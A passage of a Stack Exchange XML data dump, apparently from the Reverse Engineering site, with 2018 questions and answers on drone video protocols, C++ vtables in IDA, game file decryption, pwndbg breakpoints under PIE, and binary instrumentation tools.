There are also a bunch of 802.11 packets being exchanged between the drone and the phone, even after the initial connection. I tried decoder the larger udp packets for a few different video streaming protocols but they all just made junk.  &lt;a href=&quot;https://drive.google.com/open?id=1t13CABSVWU9DDBeHxcv0U1MnDJYdlMJL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a tar of the capture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked into decompiling the app.  I couldn't manage to get anything id consider usable out of it.  Every class was the exact same with a single call to another method and passed a bunch of numbers. But I couldn't decompile that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also looking inside of the drone the wifi seems to be controlled with a marvell 88w8801-nmde.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it would be great if someone just told me the protocol, i would appreciate just as much someone pointing me in the right direction as this is a good learning opportunity I think.&lt;/p&gt;&#xA;" OwnerUserId="25186" LastActivityDate="2018-07-31T09:21:25.823" Title="Reversing video protocol for chinese drone so i can view the stream outside of the app" Tags="|disassembly|android|java|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18939" PostTypeId="2" ParentId="18930" CreationDate="2018-07-31T09:02:41.850" Score="4" Body="&lt;p&gt;Although Nirlzr's answer explains it pretty well, here's an example that considers C++ code and vtables are present. The code is taken from &lt;a href=&quot;https://www.hackerearth.com/practice/notes/virtual-function-and-virtual-table-in-c/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;class Vehicle {&#xA;public:&#xA;  virtual void ApplyBreaks() { cout &amp;lt;&amp;lt; &amp;quot;Vehicle Break&amp;quot; &amp;lt;&amp;lt; endl; }&#xA;  virtual void ApplyHorns() { cout &amp;lt;&amp;lt; &amp;quot;Vehicle Horns&amp;quot; &amp;lt;&amp;lt; endl; }&#xA;};&#xA;&#xA;int main() {&#xA;  Vehicle *v = new Vehicle();&#xA;  v-&amp;gt;ApplyBreaks(); // Calls vehicle ApplyBreak&#xA;  v-&amp;gt;ApplyHorns();  // Calls vehicle ApplyHorn&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Compiling with g++ and opening in IDA references to &lt;code&gt;ApplyBreaks&lt;/code&gt; are such.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SBR9c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SBR9c.png&quot; alt=&quot;References to ApplyBreaks&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very common in C++ applications to have function references in vtables. Additionally while init in &lt;code&gt;Vehicle&lt;/code&gt; this vtable is set in the object as you can see here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p6BTs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6BTs.png&quot; alt=&quot;contructor&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While calling member functions for this class in &lt;code&gt;main&lt;/code&gt; the addresses are accessed like an array with offsets defined at compile time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KBsg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBsg7.png&quot; alt=&quot;gdb vtable dump&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At &lt;code&gt;main+48&lt;/code&gt; the first(0th) member &lt;code&gt;ApplyBreaks&lt;/code&gt; is accessed and at &lt;code&gt;main+71&lt;/code&gt; &lt;code&gt;ApplyHorns&lt;/code&gt; is accessed which is next to &lt;code&gt;ApplyBreaks&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-07-31T09:02:41.850" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18940" PostTypeId="2" ParentId="18938" CreationDate="2018-07-31T09:21:25.823" Score="3" Body="&lt;p&gt;Dowload the apk and open it in &lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;nofollow noreferrer&quot;&gt;jadx&lt;/a&gt; or any such decompiler tool. The app is not obfuscated. package &lt;code&gt;com.lewei.lib&lt;/code&gt; looks promising with classes like &lt;code&gt;VideoPlayer&lt;/code&gt;, &lt;code&gt;FlyCtrl&lt;/code&gt;, &lt;code&gt;H264Frame&lt;/code&gt; etc. On looking closely it can be seen that the app is trying to load multiple native libraries using &lt;code&gt;System.loadLibrary&lt;/code&gt;. These .so files can be found in &lt;code&gt;lib&lt;/code&gt; directory once the apk is unzipped. You'll need a good disassembler/decompiler(like IDA) to analyze these native libraries. Also you can try to find sources for liblewei over the internet.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-07-31T09:21:25.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18941" PostTypeId="1" CreationDate="2018-07-31T10:12:33.250" Score="1" ViewCount="114" Body="&lt;p&gt;over the past year, I provided an English patch to a community of thousands of players of a game I love and which is not available in English (just Chinese and Korean).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, besides me, other people created cheat tools for the game forcing and the developers to react by encrypting the files of the client.&#xA;Even tho I am happy they make an effort to prevent cheating, I am sad I can no longer provide the community with my English patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent the last few days trying to crack the files to be able to understand how I can decrypt them, replace the Chinese with my English content, and then encrypt it again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I was not lucky with this, the files are super weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we have tried to identify the structure and came up with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key (8byte) + filesize (4byte) + junk (0-6byte) + data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but we are not sure about the junk part&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an &lt;a href=&quot;https://cdn.discordapp.com/attachments/473414300971696142/473781792982171649/AccountProxy.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypted new version&lt;/a&gt; and a &lt;a href=&quot;https://cdn.discordapp.com/attachments/473414300971696142/473781898817175552/AccountProxy.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;decrypted old version&lt;/a&gt; of the same file.&#xA;I picked this file as it seems to not have changed between encrypted and decrypted version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any tips/pointers for me?&lt;/p&gt;&#xA;" OwnerUserId="25189" LastEditorUserId="2147" LastEditDate="2018-07-31T17:47:21.287" LastActivityDate="2018-07-31T17:47:21.287" Title="File Decryption Problems" Tags="|file-format|decryption|xor|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18942" PostTypeId="2" ParentId="18922" CreationDate="2018-07-31T10:22:26.227" Score="4" Body="&lt;p&gt;Surprised that no one has mentioned this, If you have symbols you can use &lt;code&gt;break * _start+9&lt;/code&gt; to achieve the same result.&#xA;Example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b * main+29&#xA;Breakpoint 1 at 0x9f7&#xA;pwndbg&amp;gt; r&#xA;Starting program: /tmp/a.out &#xA;&#xA;Breakpoint 1, 0x00005555555549f7 in main ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in case of absolute addresses, it fails when the binary is loaded due to the presence of PIE and the load address of .text is now subject to ASLR.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass main&#xA;Dump of assembler code for function main:&#xA;   0x00000000000009da &amp;lt;+0&amp;gt;: push   rbp&#xA;   0x00000000000009db &amp;lt;+1&amp;gt;: mov    rbp,rsp&#xA;   0x00000000000009de &amp;lt;+4&amp;gt;: push   rbx&#xA;   0x00000000000009df &amp;lt;+5&amp;gt;: sub    rsp,0x18&#xA;   0x00000000000009e3 &amp;lt;+9&amp;gt;: mov    edi,0x8&#xA;   0x00000000000009e8 &amp;lt;+14&amp;gt;:    call   0x890 &amp;lt;_Znwm@plt&amp;gt;&#xA;   0x00000000000009ed &amp;lt;+19&amp;gt;:    mov    rbx,rax&#xA;   0x00000000000009f0 &amp;lt;+22&amp;gt;:    mov    QWORD PTR [rbx],0x0&#xA;   0x00000000000009f7 &amp;lt;+29&amp;gt;:    mov    rdi,rbx&#xA;   0x00000000000009fa &amp;lt;+32&amp;gt;:    call   0xb08 &amp;lt;_ZN7VehicleC2Ev&amp;gt;&#xA;   0x00000000000009ff &amp;lt;+37&amp;gt;:    mov    QWORD PTR [rbp-0x18],rbx&#xA;   0x0000000000000a03 &amp;lt;+41&amp;gt;:    mov    rax,QWORD PTR [rbp-0x18]&#xA;   0x0000000000000a07 &amp;lt;+45&amp;gt;:    mov    rax,QWORD PTR [rax]&#xA;   0x0000000000000a0a &amp;lt;+48&amp;gt;:    mov    rax,QWORD PTR [rax]&#xA;   0x0000000000000a0d &amp;lt;+51&amp;gt;:    mov    rdx,QWORD PTR [rbp-0x18]&#xA;   0x0000000000000a11 &amp;lt;+55&amp;gt;:    mov    rdi,rdx&#xA;   0x0000000000000a14 &amp;lt;+58&amp;gt;:    call   rax&#xA;   0x0000000000000a16 &amp;lt;+60&amp;gt;:    mov    rax,QWORD PTR [rbp-0x18]&#xA;   0x0000000000000a1a &amp;lt;+64&amp;gt;:    mov    rax,QWORD PTR [rax]&#xA;   0x0000000000000a1d &amp;lt;+67&amp;gt;:    add    rax,0x8&#xA;   0x0000000000000a21 &amp;lt;+71&amp;gt;:    mov    rax,QWORD PTR [rax]&#xA;   0x0000000000000a24 &amp;lt;+74&amp;gt;:    mov    rdx,QWORD PTR [rbp-0x18]&#xA;   0x0000000000000a28 &amp;lt;+78&amp;gt;:    mov    rdi,rdx&#xA;   0x0000000000000a2b &amp;lt;+81&amp;gt;:    call   rax&#xA;   0x0000000000000a2d &amp;lt;+83&amp;gt;:    mov    eax,0x0&#xA;   0x0000000000000a32 &amp;lt;+88&amp;gt;:    add    rsp,0x18&#xA;   0x0000000000000a36 &amp;lt;+92&amp;gt;:    pop    rbx&#xA;   0x0000000000000a37 &amp;lt;+93&amp;gt;:    pop    rbp&#xA;   0x0000000000000a38 &amp;lt;+94&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;pwndbg&amp;gt; b * main+29&#xA;Breakpoint 1 at 0x9f7&#xA;pwndbg&amp;gt; info breakpoints &#xA;Num     Type           Disp Enb Address            What&#xA;1       breakpoint     keep y   0x00000000000009f7 &amp;lt;main+29&amp;gt;&#xA;pwndbg&amp;gt; b * 0x0000000000000a11&#xA;Breakpoint 2 at 0xa11&#xA;pwndbg&amp;gt; info breakpoints &#xA;Num     Type           Disp Enb Address            What&#xA;1       breakpoint     keep y   0x00000000000009f7 &amp;lt;main+29&amp;gt;&#xA;2       breakpoint     keep y   0x0000000000000a11 &amp;lt;main+55&amp;gt;&#xA;pwndbg&amp;gt; r&#xA;Starting program: /tmp/a.out &#xA;Warning:&#xA;Cannot insert breakpoint 2.&#xA;Cannot access memory at address 0xa11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-07-31T10:22:26.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18943" PostTypeId="2" ParentId="18864" CreationDate="2018-07-31T10:26:15.460" Score="2" Body="&lt;p&gt;As &lt;em&gt;usr2564301&lt;/em&gt; suggested, I checked the XREF's provided by IDA. They pointed to a class &lt;code&gt;SettingT&amp;lt;INISettingCollection&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like those string have nothing to do with RTTI and are related to settings in an INI file.&lt;/p&gt;&#xA;" OwnerUserId="25097" LastActivityDate="2018-07-31T10:26:15.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18944" PostTypeId="5" CreationDate="2018-07-31T14:12:35.430" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2018-07-31T14:12:35.430" LastActivityDate="2018-07-31T14:12:35.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18945" PostTypeId="4" CreationDate="2018-07-31T14:12:35.430" Score="0" Body="For questions about words, phrases and definitions that are specific to reverse engineering." OwnerUserId="13506" LastEditorUserId="13506" LastEditDate="2018-07-31T15:12:10.937" LastActivityDate="2018-07-31T15:12:10.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18946" PostTypeId="1" AcceptedAnswerId="18948" CreationDate="2018-07-31T14:41:24.623" Score="5" ViewCount="1859" Body="&lt;p&gt;Consider the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SomeClass* globalPointer; // we don't know what it points to, but it's not null a pointer, it's initialized&#xA;&#xA;void someFunction()&#xA;{&#xA;  globalPointer-&amp;gt;someVirtualFunction();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA (inside &lt;code&gt;someFunction&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, dword_XXXX ; ecx = globalPointer&#xA;mov     eax, [ecx] ; eax = vtable&#xA;jmp     dword ptr [eax+30h] ; call vtable[0x30]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The meaning of &lt;code&gt;dword_XXXX&lt;/code&gt; is just a pointer value. I tried to check it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;Address of pointer = %p, pointer's value = %p\n&quot;, &amp;amp;otherPointer, otherPointer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push dword_XXXX ; otherPointer&#xA;push offset dword_XXXX ; &amp;amp;otherPointer&#xA;push offset format ; &quot;Address of pointer = %p, pointer's value = %p\n&quot;&#xA;&#xA;call printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus &lt;code&gt;dword_XXXX&lt;/code&gt; seems to be a pointer's value and &lt;code&gt;offset dword_XXXX&lt;/code&gt; seems to be an address of the pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I noticed another code (which can be expressed the same as the c++ function I provided above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SomeClass2* globalPointer2;&#xA;&#xA;void someFunction2()&#xA;{&#xA;  globalPointer2-&amp;gt;someVirtualFunction2();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And IDA surprisingly gave me (inside &lt;code&gt;someFunction2&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword_XXXX ; eax = globalPointer2&#xA;mov ecx, offset dword_XXXX ; ecx = &amp;amp;globalPointer2&#xA;jmp dword ptr [eax+5Ch] ; call [globalPointer2+0x5C] with &amp;amp;globalPointer2 as this?? It should be call vtable[0x5C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the values and found out that IDA somehow &quot;changes&quot; the meaning of &lt;code&gt;dword_XXXX&lt;/code&gt;, in this case it actually was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword_XXXX ; eax = vtable&#xA;mov ecx, offset dword_XXXX ; ecx = globalPointer2&#xA;jmp dword ptr [eax+5Ch] ; call vtable[0x5C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the meaning of &lt;code&gt;dword_XXXX&lt;/code&gt; was different in the second case? In the first case it was just &lt;code&gt;pointer&lt;/code&gt;, but in the second case it was &lt;code&gt;*pointer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the meaning of &lt;code&gt;offset dword_XXXX&lt;/code&gt; in the first case was &lt;code&gt;&amp;amp;pointer&lt;/code&gt; and in the second case was &lt;code&gt;pointer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry if something is unclear, I really tried to simplify that as much as possible.&lt;/p&gt;&#xA;" OwnerUserId="25152" LastEditorUserId="25152" LastEditDate="2018-07-31T18:03:14.147" LastActivityDate="2018-08-03T12:41:09.530" Title="What's the meaning of dword_XXXX and offset dword_XXXX in IDA?" Tags="|ida|x86|nasm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18947" PostTypeId="1" CreationDate="2018-07-31T15:51:34.673" Score="1" ViewCount="569" Body="&lt;p&gt;I searched all places in IDA that call the imported &lt;code&gt;WriteFile&lt;/code&gt; function and put a breakpoint on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But while debugging I saw with ProcMon that my exe wrote to the file but even though it did not stop on the breakpoint. I also saw that file was written to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="2147" LastEditDate="2018-07-31T18:16:12.753" LastActivityDate="2018-08-01T15:39:27.390" Title="Why doesn't IDA break on the WriteFile function?" Tags="|ida|breakpoint|exe|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18948" PostTypeId="2" ParentId="18946" CreationDate="2018-07-31T18:03:59.217" Score="5" Body="&lt;p&gt;I think I figured out what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opcodes for the printing were (assuming &lt;code&gt;dword_AAAAAAAA&lt;/code&gt; instead of general &lt;code&gt;dword_XXXX&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 35 AA AA AA AA    push dword_AAAAAAAA; otherPointer&#xA;68 AA AA AA AA       push offset dword_AAAAAAAA; &amp;amp;otherPointer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; site, I know that the above instructions are equal to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push [0xAAAAAAAA]; push otherPointer&#xA;push 0xAAAAAAAA;   push &amp;amp;otherPointer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in this case, &lt;code&gt;dword_XXXX&lt;/code&gt; is equal to value of a pointer. However, in the second case (again assuming &lt;code&gt;dword_AAAAAAAA&lt;/code&gt; instead of general &lt;code&gt;dword_XXXX&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1 AA AA AA AA    mov eax, dword_AAAAAAAA ; eax = vtable&#xA;B9 AA AA AA AA    mov ecx, offset dword_AAAAAAAA ; ecx = globalPointer2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it's equal to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [0xAAAAAAAA] ; eax = vtable&#xA;mov ecx, 0xAAAAAAAA ; ecx = globalPointer2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus in this case &lt;code&gt;dword_XXXX&lt;/code&gt; is equal to &lt;code&gt;*pointer&lt;/code&gt; rather than &lt;code&gt;pointer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I think the answer is: it depends. We need to understand what &lt;code&gt;dword_XXXX&lt;/code&gt; means - it can be a pointer, an address of the pointer, or even pointer to pointer to pointer, and so on. But IDA gives us a hint: &lt;code&gt;offset dword_XXXX&lt;/code&gt; means a raw value of whatever &lt;code&gt;dword_XXXX&lt;/code&gt; is and &lt;code&gt;dword_XXXX&lt;/code&gt; gives a dereferenced value of it.&lt;/p&gt;&#xA;" OwnerUserId="25152" LastEditorUserId="25152" LastEditDate="2018-08-03T12:41:09.530" LastActivityDate="2018-08-03T12:41:09.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18949" PostTypeId="1" CreationDate="2018-07-31T19:20:21.830" Score="3" ViewCount="341" Body="&lt;p&gt;I have an idea to merge static and dynamic analysis into a visualization through the IDA python scripting interface.  The concept involves automatically setting breakpoints at each function or basic block (configurable), automatically stepping through them while capturing the trace data at each point, and then presenting the program flow through a modified graph view.  Perhaps even capturing diffs when alternate control flow paths are taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any tools that currently do this but it seems like it could be highly useful in complex or obfuscated programs.  Thoughts, issues, or comments?&lt;/p&gt;&#xA;" OwnerUserId="25193" LastActivityDate="2018-08-31T01:30:26.650" Title="Hybrid binary analysis tool" Tags="|tools|static-analysis|dynamic-analysis|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18950" PostTypeId="1" CreationDate="2018-07-31T19:21:16.280" Score="1" ViewCount="210" Body="&lt;p&gt;I'm studying this phrack article: &lt;a href=&quot;http://www.phrack.org/issues/68/10.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.phrack.org/issues/68/10.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very interesting but the only valid way to be confident with an exploitation technique is an hands-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching for some pwn challenges about jemalloc exploitation (i prefer on FreeBSD), can someone link me some binaries?&lt;/p&gt;&#xA;" OwnerUserId="23116" LastActivityDate="2018-07-31T19:21:16.280" Title="Challenges to learn jemalloc exploitation on FreeBSD" Tags="|exploit|heap|" AnswerCount="0" CommentCount="2" ClosedDate="2018-07-31T19:29:50.330" ContentLicense="CC BY-SA 4.0" />
  <row Id="18951" PostTypeId="2" ParentId="18949" CreationDate="2018-07-31T19:37:34.290" Score="2" Body="&lt;p&gt;It seems what you're describing is, or at least very similar to, Dynamic Binary Instrumentation and there are a bunch of tools that do that. &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DynamoRIO&lt;/a&gt;, &lt;a href=&quot;https://frida.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt; and &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pin tool&lt;/a&gt; are three widely known tools that do just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'll be willing to use static instrumentation, &lt;a href=&quot;http://angr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt; is another great option.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-31T01:30:26.650" LastActivityDate="2018-08-31T01:30:26.650" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18952" PostTypeId="2" ParentId="18949" CreationDate="2018-07-31T20:09:28.047" Score="3" Body="&lt;p&gt;The basic idea is not new and has been done several times before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the first working tool was &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Process_Stalker&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Stalker&lt;/a&gt; by Pedram Amini. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA also has its own little-known tracing feature which can use any of the available debugging backends including PIN (somewhat outdated post about it is &lt;a href=&quot;http://www.hexblog.com/?p=669&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the recent newcomers is &lt;a href=&quot;https://github.com/gaasedelen/lighthouse&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lighthouse&lt;/a&gt; which looks pretty nice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even do some of what you describe with Cheat Engine and I’m sure there are many other tools I haven’t heard about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is always room for innovation remaining, so don’t let this stop you from making your own if you can’t quite find what you need. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-31T20:09:28.047" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18953" PostTypeId="2" ParentId="18947" CreationDate="2018-07-31T20:34:39.703" Score="1" Body="&lt;p&gt;A few possibilities come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The application did not use &lt;code&gt;WriteFile&lt;/code&gt; but some other API to write.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;one of the other APIs or one of the DLLs used by the program called &lt;code&gt;WriteFile&lt;/code&gt; indirectly. You can try to catch the this situation by putting a breakpoint on the final API in kernel32 (&lt;code&gt;kernel32_WriteFile&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As mentined by Amirag, the program could be calling the native API &lt;code&gt;NtWriteFile&lt;/code&gt; in &lt;code&gt;ntdll.dll&lt;/code&gt; directly, or even invoke the syscall instruction manually (though this is very rare and tricky to pull off).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the write was performed on the process' behalf by the kernel or a kernel-mode driver. This situation can't be caught by a user-mode debugger.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To determine the real cause, double-click the event in Process Monitor and check the Stack tab. If you configure the symbols properly, you should see the actual path through the process and the kernel and determine what exact location in the process triggered the write and inspect the code there.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="245" LastEditDate="2018-08-01T15:39:27.390" LastActivityDate="2018-08-01T15:39:27.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18954" PostTypeId="1" CreationDate="2018-07-31T21:41:55.063" Score="1" ViewCount="575" Body="&lt;p&gt;Recently I tried to use &lt;code&gt;Hopper Disassembler&lt;/code&gt; to do the reverse engineering on a Mac application. After decompiling the executable file, I got a bunch of cstrings defined in the specific location. For example, on &lt;code&gt;0x105d4a804&lt;/code&gt; there is a string &lt;code&gt;&quot;SQLITECIPHER&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem is that: is &lt;code&gt;0x105d4a804&lt;/code&gt; a relative address or an absolute one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that if I use gdb to run the executable file, I can use x/s to print that string correctly, exactly in that location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This raises my concern. Is this string probably defined as a global variable? Why is the memory location in gdb as same as defined in the executable? Any explanation will be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5t8rw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5t8rw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25195" LastActivityDate="2018-08-01T04:03:18.417" Title="When I write into a memory address in gdb, is it an absolute address or PC-relative address?" Tags="|hopper|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18955" PostTypeId="2" ParentId="18954" CreationDate="2018-08-01T04:03:18.417" Score="1" Body="&lt;p&gt;I don't know exactly about Mac applications, but .text, .rodata, .data etc are usually at static locations which stay the same while parsing the ELF in a disassembler and during runtime. There's a feature called Position Independent Executables(PIE) in which even these sections are subject to ASLR. In newer gcc versions PIE is enabled by default unless specifically opted out in the compiler flags.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://eklitzke.org/position-independent-executables&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can use the -pie or -PIE flags to GCC to create what is called a “position independent executable” (a.k.a. PIE). When you do this GCC will only generate relocatable code. There is still an entry point for the program with a hard-coded address, but all the entry point does is set things up to run the relocatable code.&lt;/p&gt;&#xA;&lt;p&gt;The main use case for this is ASLR hardening. When a PIE ASLR binary starts up the kernel picks a random virtual memory address to load all code other than the entry point stub at. This makes it harder to exploit a large class of security vulnerabilities common to C/C++ programs. Most Linux distributions do not compile typically binaries with this option because there is real, measurable overhead to invoking relocatable functions. Distributions like Debian and Ubuntu only compile particularly security sensitive binaries (e.g. ssh) as PIEs. (Traditional non-PIE binaries will still use ASLR on Linux, but only for loading dynamic libraries).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the application you're reversing PIE may have been disabled.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-01T04:03:18.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
